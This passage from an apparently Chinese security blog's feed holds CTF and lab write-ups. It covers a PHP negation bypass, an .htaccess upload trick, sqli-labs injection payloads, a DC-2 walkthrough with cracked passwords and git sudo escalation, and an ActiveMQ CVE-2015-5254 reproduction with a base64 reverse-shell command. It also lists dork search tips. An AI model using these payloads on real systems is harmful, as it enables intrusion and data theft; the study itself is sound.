class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-variable">$a</span> = <span class="hljs-string">&quot;system&quot;</span>;<br><span class="hljs-variable">$b</span> = <span class="hljs-string">&quot;ls /&quot;</span>;<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">urlencode</span>(~<span class="hljs-variable">$a</span>);  <span class="hljs-comment">// 使用 ~$a，按位取反操作</span><br><span class="hljs-keyword">print</span>(<span class="hljs-string">&quot;\n&quot;</span>);<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">urlencode</span>(~<span class="hljs-variable">$b</span>);  <span class="hljs-comment">// 使用 ~$b，按位取反操作</span><br><span class="hljs-meta">?&gt;</span><br>payload=?wllm=(~%<span class="hljs-number">8</span>c%<span class="hljs-number">86</span>%<span class="hljs-number">8</span>c%<span class="hljs-number">8</span>b%<span class="hljs-number">9</span>a%<span class="hljs-number">92</span>)(~%<span class="hljs-number">9</span>C%<span class="hljs-number">9</span>E%<span class="hljs-number">8</span>B%DF%D0%<span class="hljs-number">99</span>%D5);<br></code></pre></td></tr></table></figure><h2 id="htaccess文件包含绕过"><a href="#htaccess文件包含绕过" class="headerlink" title=".htaccess文件包含绕过"></a>.htaccess文件包含绕过</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">//仅匹配1.jpg，也可以适用全部文件，解析为php</span><br>&lt;<span class="hljs-title class_">FilesMatch</span> <span class="hljs-string">&quot;1.jpg&quot;</span>&gt;<br><span class="hljs-title class_">SetHandler</span> application/x-httpd-php<br>&lt;/<span class="hljs-title class_">FilesMatch</span>&gt;<br></code></pre></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>web中可执行的xml文件jelly</title>
    <link href="/2024/12/11/web%E4%B8%AD%E5%8F%AF%E6%89%A7%E8%A1%8C%E7%9A%84xml%E6%96%87%E4%BB%B6jelly/"/>
    <url>/2024/12/11/web%E4%B8%AD%E5%8F%AF%E6%89%A7%E8%A1%8C%E7%9A%84xml%E6%96%87%E4%BB%B6jelly/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>好久没有写东西了，最近的ctf中有遇到一个jelly的题目，记录一下，题目是国成杯的web题，题目描述如下：</p><h2 id="Jelly简介"><a href="#Jelly简介" class="headerlink" title="Jelly简介"></a>Jelly简介</h2><p><a href="https://commons.apache.org/proper/commons-jelly/">Jelly的官方介绍</a></p><p>Jelly是Java Server Pages XML的简称，它是一种基于XML的脚本语言，用于在Java EE应用程序中生成动态内容。Jelly是一种基于XML的脚本语言，它允许开发人员使用XML标记来编写Java代码，从而实现动态内容的生成。</p><p>Jelly脚本通常包含在JSP文件中，通过在JSP文件中使用特殊的XML标记来执行Java代码。这些标记被称为Jelly标签，它们可以用于执行Java代码、访问Java对象、处理请求和响应等操作。</p><h2 id="如何实现并工作的"><a href="#如何实现并工作的" class="headerlink" title="如何实现并工作的"></a>如何实现并工作的</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">document</span> <span class="hljs-attr">time</span>=<span class="hljs-string">&quot;$&#123;now&#125;&quot;</span>&gt;</span><br>  Welcome $&#123;user.name&#125; to Jelly!<br><span class="hljs-tag">&lt;/<span class="hljs-name">document</span>&gt;</span><br></code></pre></td></tr></table></figure><p>原本有的脚本</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">MyTask</span> &#123;<br><br>    <span class="hljs-comment">// &#x27;doIt&#x27; method that does some function/task...</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">run</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> SomeException &#123;<br>        <span class="hljs-comment">// do something...</span><br>    &#125;<br><br>    <span class="hljs-comment">// Properties, can be any type</span><br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">setX</span><span class="hljs-params">(<span class="hljs-type">int</span> x)</span> &#123;<br>        <span class="hljs-built_in">this</span>.x = x;<br>    &#125;<br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">setY</span><span class="hljs-params">(String y)</span> &#123;<br>        <span class="hljs-built_in">this</span>.y = y;<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure><p>调用脚本的jelly文件</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">j:jelly</span> <span class="hljs-attr">xmlns:j</span>=<span class="hljs-string">&quot;jelly:core&quot;</span> <span class="hljs-attr">xmlns:define</span>=<span class="hljs-string">&quot;jelly:define&quot;</span> <span class="hljs-attr">xmlns:my</span>=<span class="hljs-string">&quot;myTagLib&quot;</span>&gt;</span><br><br>  <span class="hljs-tag">&lt;<span class="hljs-name">define:taglib</span> <span class="hljs-attr">uri</span>=<span class="hljs-string">&quot;myTagLib&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">define:jellybean</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;foo&quot;</span> <span class="hljs-attr">className</span>=<span class="hljs-string">&quot;MyTask&quot;</span>/&gt;</span><br>  <span class="hljs-tag">&lt;/<span class="hljs-name">define:taglib</span>&gt;</span><br><br>  Now lets use the new tag<br>  <br>  <span class="hljs-tag">&lt;<span class="hljs-name">my:foo</span> <span class="hljs-attr">x</span>=<span class="hljs-string">&quot;2&quot;</span> <span class="hljs-attr">y</span>=<span class="hljs-string">&quot;cheese&quot;</span>/&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">j:jelly</span>&gt;</span><br></code></pre></td></tr></table></figure><h2 id="继承功能"><a href="#继承功能" class="headerlink" title="继承功能"></a>继承功能</h2><p>jelly继承了JSTL，Ant，XML和Web_Service等，可以执行很多功能</p>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>sqli10-20</title>
    <link href="/2024/12/09/sqli10-20/"/>
    <url>/2024/12/09/sqli10-20/</url>
    
    <content type="html"><![CDATA[<h1 id="sqli11-20"><a href="#sqli11-20" class="headerlink" title="sqli11-20"></a>sqli11-20</h1><h2 id="11"><a href="#11" class="headerlink" title="11"></a>11</h2><p>输入1’出现报错显示，存在注入<br><img src="https://gitee.com/fogpost/photo/raw/master/202412091947957.png" srcset="/img/loading.gif" lazyload><br>构造1’ or 1&#x3D;1 #成功，1’union select 1,2#成功注入，同sqli1<br><img src="https://gitee.com/fogpost/photo/raw/master/202412091949999.png" srcset="/img/loading.gif" lazyload></p><h2 id="12"><a href="#12" class="headerlink" title="12"></a>12</h2><p>为字符注入带引号，payload如下</p><blockquote><p>1”) or 1&#x3D;1<br>1”) union select 1,2#</p></blockquote><h2 id="13-14"><a href="#13-14" class="headerlink" title="13,14"></a>13,14</h2><p>同上，引号和括号的区别</p><h2 id="15"><a href="#15" class="headerlink" title="15"></a>15</h2><p>同11bool盲注</p><h2 id="16"><a href="#16" class="headerlink" title="16"></a>16</h2><p>同12bool盲注</p><h2 id="17"><a href="#17" class="headerlink" title="17"></a>17</h2><p>重点 三种报错注入<br>extractvalue()报错注入，updatexml()报错注入和group by()报错注入<br>原理</p>]]></content>
    
    
    <categories>
      
      <category>SQL</category>
      
    </categories>
    
    
    <tags>
      
      <tag>sql</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>DC-2</title>
    <link href="/2024/11/28/DC-2/"/>
    <url>/2024/11/28/DC-2/</url>
    
    <content type="html"><![CDATA[<h1 id="DC-2"><a href="#DC-2" class="headerlink" title="DC-2"></a>DC-2</h1><p>今天无所事事，又来搞靶机了，少搞这个，打算搞完DC系列再去加深学习一下，该学习学习eviden师傅的fofa教程了</p><p>本机ip ： 192.168.56.135<br>目标ip ： 192.168.56.147</p><h2 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h2><p>nmap扫描本地ip，主机发现 -sP，是用于内网主机探测</p><blockquote><p>nmap -sP 192.168.56.135&#x2F;24<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282257172.png" srcset="/img/loading.gif" lazyload><br>端口扫描<br>nmap -A -p- 192.168.56.147<br>对靶机ip的全端口详细扫描，发现两个应用分别是80和7744端口，http和ssh<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282301709.png" srcset="/img/loading.gif" lazyload></p></blockquote><h2 id="渗透测试"><a href="#渗透测试" class="headerlink" title="渗透测试"></a>渗透测试</h2><h3 id="修改hosts"><a href="#修改hosts" class="headerlink" title="修改hosts"></a>修改hosts</h3><p>访问对应的web站点，发现了域名跳转，需要我们更改hosts文件，将域名指向靶机ip<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282305798.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>vim &#x2F;etc&#x2F;hosts<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282308689.png" srcset="/img/loading.gif" lazyload><br>再次访问，进入主页面，发现flag，让我们爆破账户<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282309300.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411282311344.png" srcset="/img/loading.gif" lazyload></p></blockquote><h3 id="wpscan爆破账户"><a href="#wpscan爆破账户" class="headerlink" title="wpscan爆破账户"></a>wpscan爆破账户</h3><p>登录网站后进行指纹识别，可以用whatweb或者wapper<br>，发现是由wordpress搭建的</p><blockquote><p>whatweb 192.168.56.147<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282312143.png" srcset="/img/loading.gif" lazyload><br>进行目录扫描，查找管理员页面,发现后台管理页面<br>dirb <a href="http://dc-2/">http://dc-2/</a><br><img src="https://gitee.com/fogpost/photo/raw/master/202411282314018.png" srcset="/img/loading.gif" lazyload><br>似乎有个专门的wordpress工具wpscan，使用wpscan进行扫描,常用语句：<br>wpscan –url <a href="http://dc-2/">http://dc-2</a>  扫描版本<br>wpscan –url <a href="http://dc-2/">http://dc-2</a> –enumerate t 扫描主题<br>wpscan –url <a href="http://dc-2/">http://dc-2</a> –enumerate p 扫描插件<br>wpscan –url <a href="http://dc-2/">http://dc-2</a> –enumerate u 枚举用户  </p></blockquote><p>扫描版本发现版本为4.7.10，并利用wpscan枚举用户<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282322816.png" srcset="/img/loading.gif" lazyload><br>发现三个用户admin，jerry，tom<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282324996.png" srcset="/img/loading.gif" lazyload><br>根据flag1用cewl来生成字典，并进行爆破</p><blockquote><p>cewl <a href="http://dc-2/">http://dc-2/</a> &gt; 1.txt  生成字典<br> Cewl（Custom Word List Generator）是一个用 Ruby 编写的应用程序，它可以爬取指定 URL 的内容，并根据用户设定的参数和选项，生成自定义的字典文件。这些字典文件可以用于密码猜测、暴力破解等攻击场景，从而提高渗透测试的成功率</p></blockquote><blockquote><p>wpscan –url <a href="http://dc-2/">http://dc-2</a> –passwords 1.txt 爆破密码，发现jerry和tom的密码  </p></blockquote><p>jerry&#x2F;adipiscing<br>tom&#x2F;parturient  </p><p><img src="https://gitee.com/fogpost/photo/raw/master/202411282328174.png" srcset="/img/loading.gif" lazyload></p><p>尝试用jerry登录，发现flag2，并提示我们使用ssh登录<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282330516.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411282330233.png" srcset="/img/loading.gif" lazyload></p><h3 id="ssh登录"><a href="#ssh登录" class="headerlink" title="ssh登录"></a>ssh登录</h3><blockquote><p>ssh <a href="mailto:&#116;&#111;&#x6d;&#x40;&#49;&#x39;&#50;&#x2e;&#x31;&#x36;&#56;&#x2e;&#53;&#x36;&#x2e;&#x31;&#x34;&#x37;">&#116;&#111;&#x6d;&#x40;&#49;&#x39;&#50;&#x2e;&#x31;&#x36;&#56;&#x2e;&#53;&#x36;&#x2e;&#x31;&#x34;&#x37;</a> -p 7744<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282333534.png" srcset="/img/loading.gif" lazyload><br>成功登录，发现在本地有flag3，但是只有vi可用，这个叫我们提权<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282335807.png" srcset="/img/loading.gif" lazyload></p></blockquote><h3 id="rbash提权"><a href="#rbash提权" class="headerlink" title="rbash提权"></a>rbash提权</h3><p>查看当前权限的软件</p><p><img src="https://gitee.com/fogpost/photo/raw/master/202411282337342.png" srcset="/img/loading.gif" lazyload></p><p>利用echo来绕过rbash</p><blockquote><p>拿到jerry用户权限<br>export -p     &#x2F;&#x2F;查看环境变量<br>BASH_CMDS[a]&#x3D;&#x2F;bin&#x2F;sh;a     &#x2F;&#x2F;把&#x2F;bin&#x2F;sh给a<br>&#x2F;bin&#x2F;bash<br>export PATH&#x3D;$PATH:&#x2F;bin&#x2F;     &#x2F;&#x2F;添加环境变量<br>export PATH&#x3D;$PATH:&#x2F;usr&#x2F;bin    &#x2F;&#x2F;添加环境变量</p></blockquote><p><img src="https://gitee.com/fogpost/photo/raw/master/202411282345295.png" srcset="/img/loading.gif" lazyload></p><p>查看可以使用root权限的命令</p><blockquote><p>find &#x2F; -user root -perm -4000 -print 2&gt;&#x2F;dev&#x2F;null</p></blockquote><p><img src="https://gitee.com/fogpost/photo/raw/master/202411282354377.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>su jerry 利用su获取jerry的权限，这时密码就可以用了<br>现在就可以越权查看jerry的falg4，提示我们用git提权</p></blockquote><p><img src="https://gitee.com/fogpost/photo/raw/master/202411282341436.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>sudo -l 发现可以用git软件</p></blockquote><p><img src="https://gitee.com/fogpost/photo/raw/master/202411282351395.png" srcset="/img/loading.gif" lazyload></p><blockquote><p>sudo git help status </p></blockquote><p>查看git的命令,在配置页面的命令行输入<br>!&#x2F;bin&#x2F;sh,即可提权<br><img src="https://gitee.com/fogpost/photo/raw/master/202411282357480.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411282359962.png" srcset="/img/loading.gif" lazyload></p><p>##总结<br>至此已经完成，知识点有比如wpscan的用法，git的提权，rbash的绕过</p>]]></content>
    
    
    <categories>
      
      <category>渗透测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>CVE-2015-5254</title>
    <link href="/2024/11/27/CVE-2015-5254/"/>
    <url>/2024/11/27/CVE-2015-5254/</url>
    
    <content type="html"><![CDATA[<h1 id="CVE-2015-5254"><a href="#CVE-2015-5254" class="headerlink" title="CVE-2015-5254"></a>CVE-2015-5254</h1><p>第一次写这个，玩一玩这个CVE，从老的开始学这个，这是一个反序列化漏洞<br>账户和密码默认admin&#x2F;admin</p><h2 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h2><p>漏洞编号：CVE-2015-5254<br>影响版本：Apache ActiveMQ 5.13.0之前5.x版本，<a href="https://www.cvedetails.com/cve/CVE-2015-5254/">https://www.cvedetails.com/cve/CVE-2015-5254/</a><br>漏洞产生原因：该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。</p><p>vulnP:110.41.22.24:8186<br>这是我自己的服务器，现在这个端口应该关了，我用完就关的，想玩的可以和我说哈，我给你开，就是个docker容器，打烂了都没用<br>hackIP:172.20.205.57</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>这个漏洞具体是两个端口61616工作端口，消息传递，8161是管理页面</p><p><img src="https://gitee.com/fogpost/photo/raw/master/202411271814424.png" srcset="/img/loading.gif" lazyload><br>直接访问页面，发现是一个Apache ActiveMQ的CMS框架，由于是漏洞复现，我们能很清楚的知道它的版本。如果不知道版本可通过乱输入路径进行报错，或是使用云悉指纹识别进行版本检测.</p><blockquote><p>whatweb <a href="http://110.41.22.24:8161/">http://110.41.22.24:8161/</a>  可以查看版本</p></blockquote><p><img src="https://gitee.com/fogpost/photo/raw/master/202411271821474.png" srcset="/img/loading.gif" lazyload><br><a href="https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar">jmet</a></p><blockquote><p>java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch &#x2F;tmp&#x2F;success” -Yp ROME 110.41.22.24 61616<br>注意java版本要8及以下</p></blockquote><p><img src="https://gitee.com/fogpost/photo/raw/master/202411271853828.png" srcset="/img/loading.gif" lazyload><br>我们实现在管理员界面引入一个event队列，查看这个消息<br><img src="https://gitee.com/fogpost/photo/raw/master/202411271859064.png" srcset="/img/loading.gif" lazyload><br><img src="https://gitee.com/fogpost/photo/raw/master/202411271900112.png" srcset="/img/loading.gif" lazyload><br>点击任意一条消息触发，发现已经执行了命令，touch &#x2F;tmp&#x2F;success<br><img src="https://gitee.com/fogpost/photo/raw/master/202411271907776.png" srcset="/img/loading.gif" lazyload>  </p><blockquote><p>java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjE4LjI0NC8xMjM0IDA+JjE&#x3D;}|{base64,-d}|{bash,-i}” -Yp ROME 110.41.22.24 61616</p></blockquote><p><img src="https://gitee.com/fogpost/photo/raw/master/202411271911825.png" srcset="/img/loading.gif" lazyload></p><p>在执行完这个时候管理员处会获得新的消息，这时点击便会反弹我们的shell<br><img src="https://gitee.com/fogpost/photo/raw/master/202411271909000.png" srcset="/img/loading.gif" lazyload><br>发现个事情，nc只能监听本地的接口，这个反弹shell有点问题由于我不是很会处理这个ip的转换，所以可能会有点问题，反弹shell也有点问题，看之后能不能在本地内网再来一次</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这个CVE需要诱导管理员点击的同时，还需要再内网中攻击可以说是比较拉跨了，但是攻击方式又相对简单，很容易复现，虽然难点再exp的编写上，什么时候要看看这个jar包的内容</p>]]></content>
    
    
    <categories>
      
      <category>CVE</category>
      
    </categories>
    
    
    <tags>
      
      <tag>target</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>web杂项</title>
    <link href="/2024/11/27/web%E6%9D%82%E9%A1%B9/"/>
    <url>/2024/11/27/web%E6%9D%82%E9%A1%B9/</url>
    
    <content type="html"><![CDATA[<h1 id="搜索技巧"><a href="#搜索技巧" class="headerlink" title="搜索技巧"></a>搜索技巧</h1><ul><li>site:<a href="http://www.hao123/">www.hao123</a>.  <ul><li>返回此目标站点被搜索引擎抓取收录的所有内容<br><img src="https://gitee.com/fogpost/photo/raw/master/202411271724499.png" srcset="/img/loading.gif" lazyload></li></ul></li><li>site:<a href="http://www.hao123.com/">www.hao123.com</a> keyword<ul><li>返回此目标站点被搜索引擎抓取收录的包含此关键词的所有页面</li><li>此处可以将关键词设定为网站后台，管理后台，密码修改，密码找回等</li></ul></li><li>site:<a href="http://www.hao123.com/">www.hao123.com</a> inurl:admin.php<ul><li>返回目标站点的地址中包含admi<br>  n.php的所有页面，可以使用admin.php&#x2F;manage.php或者其他关键词来寻找关键功能页面</li></ul></li><li>link:<a href="http://www.hao123.com/">www.hao123.com</a><ul><li>返回所有包含目标站点链接的页面，其中包括其开发人员的个人博客，开发日志，或者开放这个站点的第三方公司，合作伙伴等</li></ul></li><li>related:<a href="http://www.hao123.com/">www.hao123.com</a><ul><li>返回所有与目标站点”相似”的页面，可能会包含一些通用程序的信息等</li></ul></li><li>intitle:”500 Internal Server Error” “server at”<ul><li>搜索出错的页面</li></ul></li><li>inurl:”nph-proxy.cgi” “Start browsing”<ul><li>搜索代理服务器</li></ul></li></ul>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>sqli1-10练习</title>
    <link href="/2024/11/24/sqli%E7%BB%83%E4%B9%A0/"/>
    <url>/2024/11/24/sqli%E7%BB%83%E4%B9%A0/</url>
    
    <content type="html"><![CDATA[<h1 id="sqli开头简介"><a href="#sqli开头简介" class="headerlink" title="sqli开头简介"></a>sqli开头简介</h1><p>sql注入我们可以理解为，通过构造恶意的输入，从而让程序执行我们想要执行的代码。所以我们需要了解源代码中的sql注入是什么样的语句什么样的过滤，但是在黑盒中我们无法了解代码，这便需要我们去有足够的知识积累，所以我打算将这个靶场打完，我要做sql领域大神🥰！</p><h1 id="前置知识点"><a href="#前置知识点" class="headerlink" title="前置知识点"></a>前置知识点</h1><p>联合查询特点：<br>1、要求多条查询语句的查询列数是一致的！<br>2、要求多条查询语句的查询的每一列的类型和顺序最好一致<br>3、union关键字默认去重，如果使用union all 可以包含重复项  </p><p>version():查看数据库版本<br>database():查看使用的数据库<br>user():查看当前用户<br>limit:limit子句分批来获取所有数据<br>group_concat():一次性获取所有的数据库信息</p><p>information_schema.tables:包含了数据库里所有的表<br>table_name:表名<br>table_schema:数据库名<br>column_name:字段名</p><p>–dbs:是查看所有的数据库<br>–tables:是查看所有的表<br>–columns:是查看表中所有的字段名<br>–dump:是查询哪个表的数据</p><h1 id="联合注入"><a href="#联合注入" class="headerlink" title="联合注入"></a>联合注入</h1><h2 id="手工注入"><a href="#手工注入" class="headerlink" title="手工注入"></a>手工注入</h2><ol><li>首先我们输入1，发现返回正常输入?id&#x3D;1’，返回错误，说明存在单引号注入<br><img src="https://gitee.com/fogpost/photo/raw/master/202410060247359.png" srcset="/img/loading.gif" lazyload></li><li>输入?id&#x3D;1’ and ‘1’&#x3D;’1，页面回显正常<br><img src="https://gitee.com/fogpost/photo/raw/master/202410060248949.png" srcset="/img/loading.gif" lazyload></li><li>构造?id&#x3D;1’ and ‘1’&#x3D;’1’ order by 1–+　　页面回显正常<br>?id&#x3D;1’ and ‘1’&#x3D;’1’ order by 2–+　　页面回显正常<br>?id&#x3D;1’ and ‘1’&#x3D;’1’ order by 3–+　　页面回显正常<br>?id&#x3D;1’ and ‘1’&#x3D;’1’ order by 4–+　　出现报错界面<br><img src="https://gitee.com/fogpost/photo/raw/master/202410060250107.png" srcset="/img/loading.gif" lazyload><br>所以我们了解到了数据库表只有三列，确定了字段数</li><li>构造联合查询?id&#x3D;-1’ union select 1,2,3–+前面的id为-1，使前面的语句无效，用union查询是否有回显，发现2和3有回显<br><img src="https://gitee.com/fogpost/photo/raw/master/202410060254643.png" srcset="/img/loading.gif" lazyload></li><li>构造?id&#x3D;-1’ union select 1,database(),version()–+发现回显了数据库名称和版本信息<br><img src="https://gitee.com/fogpost/photo/raw/master/202410060256922.png" srcset="/img/loading.gif" lazyload></li><li>构造?id&#x3D;-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema&#x3D;database()–+发现回显了数据库中的表名<br><img src="https://gitee.com/fogpost/photo/raw/master/202410060259924.png" srcset="/img/loading.gif" lazyload></li><li>查询users的字段名?id&#x3D;-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name&#x3D;’users’–+<br><img src="https://gitee.com/fogpost/photo/raw/master/202410060302469.png" srcset="/img/loading.gif" lazyload></li><li>查询users表中的内容-1’ union select 1,2,group_concat(0x5c,username,0x5c,password) from users –+ 0x5c是反斜杠的十六进制，用于连接这两个库的数据内容<br>这个是手工注入的基本，大部分的注入都是围绕上面来优化的</li></ol><h2 id="sqlmap注入"><a href="#sqlmap注入" class="headerlink" title="sqlmap注入"></a>sqlmap注入</h2><p>sqlmap -u <a href="http://sql/sqli-labs-master/Less-1/id=1">http://sql/sqli-labs-master/Less-1/id=1</a> –dbs 查看对应的库<br>之后还会专门出一个sqlmap的教程，这里就不多说了</p><h1 id="bool盲注"><a href="#bool盲注" class="headerlink" title="bool盲注"></a>bool盲注</h1><p>?id&#x3D;1’and length((select database()))&gt;9–+<br>#大于号可以换成小于号或者等于号，主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4<br>?id&#x3D;1’and ascii(substr((select database()),1,1))&#x3D;115–+<br>#substr(“78909”,1,1)&#x3D;7 substr(a,b,c)a是要截取的字符串，b是截取的位置，c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗，这样我们可以很好确定数字根据数字找到对应的字符。</p><p>?id&#x3D;1’and length((select group_concat(table_name) from information_schema.tables where table_schema&#x3D;database()))&gt;13–+<br>判断所有表名字符长度。<br>?id&#x3D;1’and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema&#x3D;database()),1,1))&gt;99–+<br>逐一判断表名</p><p>?id&#x3D;1’and length((select group_concat(column_name) from information_schema.columns where table_schema&#x3D;database() and table_name&#x3D;’users’))&gt;20–+<br>判断所有字段名的长度<br>?id&#x3D;1’and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema&#x3D;database() and table_name&#x3D;’users’),1,1))&gt;99–+<br>逐一判断字段名。</p><p>?id&#x3D;1’ and length((select group_concat(username,password) from users))&gt;109–+<br>判断字段内容长度<br>?id&#x3D;1’ and ascii(substr((select group_concat(username,password) from users),1,1))&gt;50–+<br>逐一检测内容。</p><h2 id="双查询注入"><a href="#双查询注入" class="headerlink" title="双查询注入"></a>双查询注入</h2><p><a href="https://blog.csdn.net/xiayun1995/article/details/86512290">参考文献</a><br>在了解了bool盲注的基本原理之后我们发现一个问题，手工注入必然会导致时间过程，于是应运而生，我们的双查询注入可以帮助我们避免长时间的枯燥操作直接获取数据库的信息，在讲解之前我们要先了解几个函数</p><h3 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h3><p>rand()：随机数函数 返回一个0到1的数<br><img src="https://gitee.com/fogpost/photo/raw/master/202411241656811.png" srcset="/img/loading.gif" lazyload><br>floor()：向下取整，floor的向下取整可以帮我们进行去整处理，加入乘法便可以构建任意随机数选择<br><img src="https://gitee.com/fogpost/photo/raw/master/202411241658373.png" srcset="/img/loading.gif" lazyload><br>concat()：字符串连接函数，用于连接我们查询到的数据<br><img src="https://gitee.com/fogpost/photo/raw/master/202411241701358.png" srcset="/img/loading.gif" lazyload><br>group by：分组 as (_<em>别名)：给查询结果起别名(括号中为自定义的别名)<br><img src="https://gitee.com/fogpost/photo/raw/master/202411241707695.png" srcset="/img/loading.gif" lazyload><br>count()：聚合函数<br>这里利用count(</em>)对前面的返回数据进行统计，由于group by 和随机数的原因，有可能会出现重复的键值，当键值重复时就会触发错误，然后报错，由于子查询在错误发生之前就已经完成，所以子查询的内容会随着报错信息一起显示出来<br><img src="https://gitee.com/fogpost/photo/raw/master/202411241709101.png" srcset="/img/loading.gif" lazyload><br>我们这里需要的是第一次的报错，因为在实际过程中我们不可能查询到正确消息，只有在可能遇到错误时才会有返回值</p><h3 id="子查询"><a href="#子查询" class="headerlink" title="子查询"></a>子查询</h3><p>子查询：内部查询，允许把另一个查询嵌套到当前的查询中</p><blockquote><p>MariaDB [dvwa]&gt; SELECT concat(“test: “,(select database())) as a;<br><img src="https://gitee.com/fogpost/photo/raw/master/202411241654803.png" srcset="/img/loading.gif" lazyload><br>操作开始便会先查询(select database())，然后将查询结果与”test: “连接起来，最后返回结果。</p></blockquote><p>在注入的过程中我们不了解库名库表，可以借用information_schema的库来猜测，其中information_schema.schemata中包含了mysql的所有库名，information_schema.tables中包含了所有的表名，information_schema.columns中包含了所有的列名<br><img src="https://gitee.com/fogpost/photo/raw/master/202411241703198.png" srcset="/img/loading.gif" lazyload></p><h3 id="报错注入模板"><a href="#报错注入模板" class="headerlink" title="报错注入模板"></a>报错注入模板</h3><ul><li>select 1&#x2F;0</li><li>select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a</li><li>extractvalue(1, concat(0x5c,(select user())))</li><li>updatexml(0x3a,concat(1,(select user())),1)</li><li>exp(~(SELECT * from(select user())a))</li><li>ST_LatFromGeoHash((select * from(select * from(select user())a)b))</li><li>GTID_SUBSET(version(), 1)</li></ul><h1 id="时间盲注"><a href="#时间盲注" class="headerlink" title="时间盲注"></a>时间盲注</h1><p>?id&#x3D;1’ and if(1&#x3D;1,sleep(5),1)–+<br>判断参数构造。<br>?id&#x3D;1’and if(length((select database()))&gt;9,sleep(5),1)–+<br>判断数据库名长度</p><p>?id&#x3D;1’and if(ascii(substr((select 